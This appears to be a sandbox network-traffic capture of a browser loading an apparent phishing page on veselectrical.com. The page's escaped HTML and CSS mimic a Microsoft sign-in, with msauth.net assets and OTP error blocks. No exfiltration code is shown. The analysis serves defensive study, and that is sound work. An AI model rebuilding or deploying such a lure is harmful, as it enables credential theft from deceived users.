2024-11-18 23:01:24 UTC	8000	IN	Data Raw: 5c 78 32 30 63 6c 61 73 73 3d 5c 78 32 32 66 61 2d 73 6f 6c 69 64 5c 78 32 30 66 61 2d 70 6c 61 79 5c 78 32 32 3e 3c 2f 69 3e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 69 5c 78 32 30 63 6c 61 73 73 3d 5c 78 32 32 66 61 2d 73 6f 6c 69 64 5c 78 32 30 66 61 2d 72 6f 74 61 74 65 2d 6c 65 66 74 5c 78 32 32 3e 3c 2f 69 3e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 Data Ascii: \x20class=\x22fa-solid\x20fa-play\x22></i>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<i\x20class=\x22fa-solid\x20fa-rotate-left\x22></i>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
2024-11-18 23:01:24 UTC	8000	IN	Data Raw: 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 64 69 76 5c 78 32 30 73 74 79 6c 65 3d 5c 78 32 32 64 69 73 70 6c 61 79 3a 5c 78 32 30 6e 6f 6e 65 3b 5c 78 32 32 5c 78 32 30 63 6c 61 73 73 3d 5c 78 32 32 6e 6f 50 61 73 73 6d 73 61 70 70 42 6c 6f 63 6b 5c 78 32 30 77 33 2d 61 6e 69 6d 61 74 65 2d 72 69 67 68 74 5c 78 32 32 3e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 69 6d 67 5c 78 32 30 63 6c 61 73 73 3d 5c 78 32 32 66 6f 72 6d 4c 6f 67 6f 5c 78 32 32 5c 78 32 30 73 72 63 3d 5c 78 32 32 68 74 74 70 73 3a 2f 2f 61 61 64 63 64 6e 2e 6d 73 61 75 74 68 2e 6e 65 74 2f 73 68 61 72 65 64 2f 31 2e 30 2f 63 Data Ascii: 0\x20\x20\x20\x20\x20\x20\x20<div\x20style=\x22display:\x20none;\x22\x20class=\x22noPassmsappBlock\x20w3-animate-right\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<img\x20class=\x22formLogo\x22\x20src=\x22https://aadcdn.msauth.net/shared/1.0/c
2024-11-18 23:01:24 UTC	8000	IN	Data Raw: 61 32 64 62 61 33 66 38 31 66 63 63 31 63 38 32 36 32 31 35 37 63 2e 70 6e 67 5c 78 32 32 5c 78 32 30 73 76 67 73 72 63 3d 5c 78 32 32 68 74 74 70 73 3a 2f 2f 6c 6f 67 69 6e 63 64 6e 2e 6d 73 61 75 74 68 2e 6e 65 74 2f 73 68 61 72 65 64 2f 31 2e 30 2f 63 6f 6e 74 65 6e 74 2f 69 6d 61 67 65 73 2f 61 72 72 6f 77 5f 6c 65 66 74 5f 61 39 63 63 32 38 32 34 65 66 33 35 31 37 62 36 63 34 31 36 30 64 63 66 38 66 66 37 64 34 31 30 2e 73 76 67 5c 78 32 32 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 64 61 74 61 2d 62 69 6e 64 3d 5c 78 32 32 69 6d 67 53 72 63 5c Data Ascii: a2dba3f81fcc1c8262157c.png\x22\x20svgsrc=\x22https://logincdn.msauth.net/shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg\x22\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20data-bind=\x22imgSrc\
2024-11-18 23:01:24 UTC	8000	IN	Data Raw: 78 32 30 5c 78 32 30 3c 2f 64 69 76 3e 5c 78 30 61 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 21 2d 2d 5c 78 32 30 42 4f 49 4c 45 52 54 45 58 54 5c 78 32 30 2d 2d 3e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 64 69 76 5c 78 32 30 63 6c 61 73 73 3d 5c 78 32 32 67 72 61 79 42 6f 78 5c 78 32 32 3e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 62 6f 69 6c 65 72 5c 78 32 30 74 65 78 74 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 2f 64 69 76 3e 5c 78 30 Data Ascii: x20\x20</div>\x0a\x0a\x20\x20\x20\x20\x20\x20\x20\x20...\x20BOILERTEXT\x20-->\x0a\x20\x20\x20\x20\x20\x20\x20\x20<div\x20class=\x22grayBox\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20boiler\x20text\x0a\x20\x20\x20\x20\x20\x20\x20\x20</div>\x0
2024-11-18 23:01:24 UTC	8000	IN	Data Raw: 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 7a 2d 69 6e 64 65 78 3a 5c 78 32 30 31 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 6d 61 72 67 69 6e 2d 74 6f 70 3a 5c 78 32 30 2d 32 70 78 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 5c 78 32 30 2d 31 30 70 78 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 77 69 64 74 68 3a 5c 78 32 30 38 70 78 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 68 65 69 67 68 74 3a 5c 78 32 30 38 70 78 3b 5c 78 30 61 5c 78 32 30 5c Data Ascii: 0\x20\x20\x20\x20z-index:\x201;\x0a\x20\x20\x20\x20\x20\x20\x20\x20margin-top:\x20-2px;\x0a\x20\x20\x20\x20\x20\x20\x20\x20margin-left:\x20-10px;\x0a\x20\x20\x20\x20\x20\x20\x20\x20width:\x208px;\x0a\x20\x20\x20\x20\x20\x20\x20\x20height:\x208px;\x0a\x20\
2024-11-18 23:01:24 UTC	8000	IN	Data Raw: 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 70 61 64 64 69 6e 67 3a 5c 78 32 30 30 70 78 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 6d 61 72 67 69 6e 3a 5c 78 32 30 30 70 78 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 5c 78 32 30 6e 6f 6e 65 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 6f 75 74 6c 69 6e 65 3a 5c 78 32 30 6e 6f 6e 65 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 7d 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 Data Ascii: 20\x20\x20\x20\x20padding:\x200px;\x0a\x20\x20\x20\x20\x20\x20\x20\x20margin:\x200px;\x0a\x20\x20\x20\x20\x20\x20\x20\x20border-style:\x20none;\x0a\x20\x20\x20\x20\x20\x20\x20\x20outline:\x20none;\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x0a\x20\x20\x20\x
2024-11-18 23:01:24 UTC	8000	IN	Data Raw: 31 31 32 33 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 64 69 73 70 6c 61 79 3a 5c 78 32 30 6e 6f 6e 65 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 7d 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 2e 6f 74 70 45 72 72 6f 72 32 5c 78 32 30 7b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 63 6f 6c 6f 72 3a 5c 78 32 30 23 65 38 31 31 32 33 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 64 69 73 70 6c 61 79 3a 5c 78 32 30 6e 6f 6e 65 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 Data Ascii: 1123;\x0a\x20\x20\x20\x20\x20\x20\x20\x20display:\x20none;\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x0a\x20\x20\x20\x20.otpError2\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20color:\x20#e81123;\x0a\x20\x20\x20\x20\x20\x20\x20\x20display:\x20none;\x0a\x20\x20\x
2024-11-18 23:01:24 UTC	8000	IN	Data Raw: 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 70 6f 73 69 74 69 6f 6e 3a 5c 78 32 30 61 62 73 6f 6c 75 74 65 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 7a 2d 69 6e 64 65 78 3a 5c 78 32 30 31 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 74 6f 70 3a 5c 78 32 30 30 70 78 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 77 69 64 74 68 3a 5c 78 32 30 31 30 30 25 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 7d 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 30 61 5c 78 32 Data Ascii: \x0a\x20\x20\x20\x20\x20\x20\x20\x20position:\x20absolute;\x0a\x20\x20\x20\x20\x20\x20\x20\x20z-index:\x201;\x0a\x20\x20\x20\x20\x20\x20\x20\x20top:\x200px;\x0a\x20\x20\x20\x20\x20\x20\x20\x20width:\x20100%;\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x0a\x2
2024-11-18 23:01:24 UTC	8000	IN	Data Raw: 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 2e 6c 64 73 2d 72 6f 6c 6c 65 72 5c 78 32 30 64 69 76 3a 6e 74 68 2d 63 68 69 6c 64 28 38 29 3a 61 66 74 65 72 5c 78 32 30 7b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 74 6f 70 3a 5c 78 32 30 35 36 70 78 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 6c 65 66 74 3a 5c 78 32 30 31 32 70 78 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 7d 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 40 6b 65 79 66 72 61 6d 65 73 5c 78 32 30 6c 64 73 2d 72 6f 6c 6c 65 72 5c 78 32 30 7b 5c 78 30 61 5c Data Ascii: x0a\x20\x20\x20\x20.lds-roller\x20div:nth-child(8):after\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20top:\x2056px;\x0a\x20\x20\x20\x20\x20\x20\x20\x20left:\x2012px;\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x0a\x20\x20\x20\x20@keyframes\x20lds-roller\x20{\x0a\
2024-11-18 23:01:24 UTC	437	OUT	GET /wp-content/uploads/2023/02/cropped-381910826007-32x32.jpg HTTP/1.1 Host: veselectrical.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: aXBwXzE1NS45NC4yNDEuMTg3=none
2024-11-18 23:01:24 UTC	858	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:01:24 GMT Server: Apache Last-Modified: Tue, 28 Feb 2023 23:08:11 GMT Accept-Ranges: bytes Content-Length: 628 host-header: c2hhcmVkLmJsdWVob3N0LmNvbQ== Content-Type: image/jpeg JFIFHHLExifMM*iXC !'"#%%%),($+!$%$C$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ "(!1A"Qa?z}j`f8raSFe6TAi?){$8eo[ zV]2Q%%Mz+_JNS/A9dS2{ cV7Y;kCXq[QJG$~!3]GsCIqIAeEGhBEnv\|I$9"\u)D$JK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49747	104.17.25.14	443	2872	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:01:24 UTC	579	OUT	GET /ajax/libs/font-awesome/6.1.1/css/all.min.css HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://veselectrical.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-18 23:01:24 UTC	943	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:01:24 GMT Content-Type: text/css; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"623a082a-4ef8" Last-Modified: Tue, 22 Mar 2022 17:32:26 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 52219 Expires: Sat, 08 Nov 2025 23:01:24 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yLcNP5ud8hKYj%2FvtNiXv6gmh7jyxDtss2pCCA8nkO%2FCvIsbTXOg3dR51zwy%2BLDsv9eumigisvOhsbtwVGofXGNnH0CWbKKFdPgy0GiJyeF1iYrv8itu2dufiznKDuYCldJEylIK0"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8e4b950d286546e6-DFW alt-svc: h3=":443"; ma=86400
2024-11-18 23:01:24 UTC	426	IN	Data Raw: 37 63 30 31 0d 0a 2f 2a 21 0a 20 2a 20 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 46 72 65 65 20 36 2e 31 2e 31 20 62 79 20 40 66 6f 6e 74 61 77 65 73 6f 6d 65 20 2d 20 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2e 63 6f 6d 0a 20 2a 20 4c 69 63 65 6e 73 65 20 2d 20 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2e 63 6f 6d 2f 6c 69 63 65 6e 73 65 2f 66 72 65 65 20 28 49 63 6f 6e 73 3a 20 43 43 20 42 59 20 34 2e 30 2c 20 46 6f 6e 74 73 3a 20 53 49 4c 20 4f 46 4c 20 31 2e 31 2c 20 43 6f 64 65 3a 20 4d 49 54 20 4c 69 63 65 6e 73 65 29 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 32 32 20 46 6f 6e 74 69 63 6f 6e 73 2c 20 49 6e 63 2e 0a 20 2a 2f 0a 2e 66 61 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 76 61 72 28 2d 2d 66 61 2d 73 74 79 6c 65 Data Ascii: 7c01/! Font Awesome Free 6.1.1 by @fontawesome - https://fontawesome.com * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) * Copyright 2022 Fonticons, Inc. */.fa{font-family:var(--fa-style
2024-11-18 23:01:24 UTC	1369	IN	Data Raw: 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 67 72 61 79 73 63 61 6c 65 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 64 3b 64 69 73 70 6c 61 79 3a 76 61 72 28 2d 2d 66 61 2d 64 69 73 70 6c 61 79 2c 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 29 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 76 61 72 69 61 6e 74 3a 6e 6f 72 6d 61 6c 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 3b 74 65 78 74 2d 72 65 6e 64 65 72 69 6e 67 3a 61 75 74 6f 7d 2e 66 61 2d 31 78 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 65 6d 7d 2e 66 61 2d 32 78 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 65 6d 7d 2e 66 61 2d 33 78 7b 66 6f 6e 74 2d 73 69 7a 65 3a 33 65 6d 7d 2e 66 61 2d 34 78 7b 66 6f 6e 74 2d 73 69 7a 65 3a 34 65 6d 7d 2e Data Ascii: ont-smoothing:grayscale;-webkit-font-smoothing:antialiased;display:var(--fa-display,inline-block);font-style:normal;font-variant:normal;line-height:1;text-rendering:auto}.fa-1x{font-size:1em}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.
2024-11-18 23:01:24 UTC	1369	IN	Data Raw: 6c 6c 2d 6d 61 72 67 69 6e 2c 2e 33 65 6d 29 7d 2e 66 61 2d 62 65 61 74 7b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 66 61 2d 62 65 61 74 3b 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 66 61 2d 62 65 61 74 3b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 76 61 72 28 2d 2d 66 61 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 2c 30 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 76 61 72 28 2d 2d 66 61 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 2c 30 29 3b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 69 72 65 63 74 69 6f 6e 3a 76 61 72 28 2d 2d 66 61 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 69 72 65 63 74 69 6f 6e 2c 6e 6f 72 6d 61 6c 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 69 72 65 63 Data Ascii: ll-margin,.3em)}.fa-beat{-webkit-animation-name:fa-beat;animation-name:fa-beat;-webkit-animation-delay:var(--fa-animation-delay,0);animation-delay:var(--fa-animation-delay,0);-webkit-animation-direction:var(--fa-animation-direction,normal);animation-direc
2024-11-18 23:01:24 UTC	1369	IN	Data Raw: 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2c 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 32 38 2c 2e 38 34 2c 2e 34 32 2c 31 29 29 7d 2e 66 61 2d 66 61 64 65 7b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 66 61 2d 66 61 64 65 3b 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 66 61 2d 66 61 64 65 3b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 69 74 65 72 61 74 69 6f 6e 2d 63 6f 75 6e 74 3a 76 61 72 28 2d 2d 66 61 2d 61 6e 69 6d 61 74 69 6f 6e 2d 69 74 65 72 61 74 69 6f 6e 2d 63 6f 75 6e 74 2c 69 6e 66 69 6e 69 74 65 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 69 74 65 72 61 74 69 6f 6e 2d 63 6f 75 6e 74 3a 76 61 72 28 2d 2d 66 61 2d 61 6e 69 6d 61 74 69 6f 6e 2d 69 74 65 72 61 74 69 6f 6e 2d 63 6f 75 6e 74 2c 69 6e 66 69 6e 69 74 65 29 Data Ascii: mation-timing,cubic-bezier(.28,.84,.42,1))}.fa-fade{-webkit-animation-name:fa-fade;animation-name:fa-fade;-webkit-animation-iteration-count:var(--fa-animation-iteration-count,infinite);animation-iteration-count:var(--fa-animation-iteration-count,infinite)
2024-11-18 23:01:24 UTC	1369	IN	Data Raw: 63 74 69 6f 6e 2c 6e 6f 72 6d 61 6c 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 69 72 65 63 74 69 6f 6e 3a 76 61 72 28 2d 2d 66 61 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 69 72 65 63 74 69 6f 6e 2c 6e 6f 72 6d 61 6c 29 3b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 76 61 72 28 2d 2d 66 61 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 2c 31 73 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 76 61 72 28 2d 2d 66 61 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 2c 31 73 29 3b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 69 74 65 72 61 74 69 6f 6e 2d 63 6f 75 6e 74 3a 76 61 72 28 2d 2d 66 61 2d 61 6e 69 6d 61 74 69 6f 6e 2d 69 74 65 72 61 74 69 6f 6e 2d 63 6f 75 6e 74 2c 69 6e 66 69 6e Data Ascii: ction,normal);animation-direction:var(--fa-animation-direction,normal);-webkit-animation-duration:var(--fa-animation-duration,1s);animation-duration:var(--fa-animation-duration,1s);-webkit-animation-iteration-count:var(--fa-animation-iteration-count,infin
2024-11-18 23:01:24 UTC	1369	IN	Data Raw: 72 28 2d 2d 66 61 2d 61 6e 69 6d 61 74 69 6f 6e 2d 69 74 65 72 61 74 69 6f 6e 2d 63 6f 75 6e 74 2c 69 6e 66 69 6e 69 74 65 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 69 74 65 72 61 74 69 6f 6e 2d 63 6f 75 6e 74 3a 76 61 72 28 2d 2d 66 61 2d 61 6e 69 6d 61 74 69 6f 6e 2d 69 74 65 72 61 74 69 6f 6e 2d 63 6f 75 6e 74 2c 69 6e 66 69 6e 69 74 65 29 3b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 76 61 72 28 2d 2d 66 61 2d 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2c 6c 69 6e 65 61 72 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 76 61 72 28 2d 2d 66 61 2d 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2c 6c 69 6e 65 61 72 29 7d 2e 66 61 2d 73 70 69 6e 2d 72 65 76 65 Data Ascii: r(--fa-animation-iteration-count,infinite);animation-iteration-count:var(--fa-animation-iteration-count,infinite);-webkit-animation-timing-function:var(--fa-animation-timing,linear);animation-timing-function:var(--fa-animation-timing,linear)}.fa-spin-reve
2024-11-18 23:01:24 UTC	1369	IN	Data Raw: 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 76 61 72 28 2d 2d 66 61 2d 62 65 61 74 2d 73 63 61 6c 65 2c 31 2e 32 35 29 29 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 2d 62 65 61 74 7b 30 25 2c 39 30 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 31 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 31 29 7d 34 35 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 76 61 72 28 2d 2d 66 61 2d 62 65 61 74 2d 73 63 61 6c 65 2c 31 2e 32 35 29 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 76 61 72 28 2d 2d 66 61 2d 62 65 61 74 2d 73 63 61 6c 65 2c 31 2e 32 35 29 29 7d 7d 40 2d 77 65 62 6b 69 74 2d 6b 65 79 66 72 61 6d 65 73 20 66 61 2d 62 6f 75 6e 63 65 7b 30 25 7b 2d 77 65 62 6b 69 74 2d 74 72 Data Ascii: ansform:scale(var(--fa-beat-scale,1.25))}}@keyframes fa-beat{0%,90%{-webkit-transform:scale(1);transform:scale(1)}45%{-webkit-transform:scale(var(--fa-beat-scale,1.25));transform:scale(var(--fa-beat-scale,1.25))}}@-webkit-keyframes fa-bounce{0%{-webkit-tr
2024-11-18 23:01:24 UTC	1369	IN	Data Raw: 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 31 29 20 74 72 61 6e 73 6c 61 74 65 59 28 30 29 7d 31 30 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 76 61 72 28 2d 2d 66 61 2d 62 6f 75 6e 63 65 2d 73 74 61 72 74 2d 73 63 61 6c 65 2d 78 2c 31 2e 31 29 2c 76 61 72 28 2d 2d 66 61 2d 62 6f 75 6e 63 65 2d 73 74 61 72 74 2d 73 63 61 6c 65 2d 79 2c 2e 39 29 29 20 74 72 61 6e 73 6c 61 74 65 59 28 30 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 76 61 72 28 2d 2d 66 61 2d 62 6f 75 6e 63 65 2d 73 74 61 72 74 2d 73 63 61 6c 65 2d 78 2c 31 2e 31 29 2c 76 61 72 28 2d 2d 66 61 2d 62 6f 75 6e 63 65 2d 73 74 61 72 74 2d 73 63 61 6c 65 2d 79 2c 2e 39 29 29 20 74 72 61 6e 73 6c 61 74 65 59 28 30 29 7d 33 30 25 7b 2d 77 65 62 6b 69 74 Data Ascii: ransform:scale(1) translateY(0)}10%{-webkit-transform:scale(var(--fa-bounce-start-scale-x,1.1),var(--fa-bounce-start-scale-y,.9)) translateY(0);transform:scale(var(--fa-bounce-start-scale-x,1.1),var(--fa-bounce-start-scale-y,.9)) 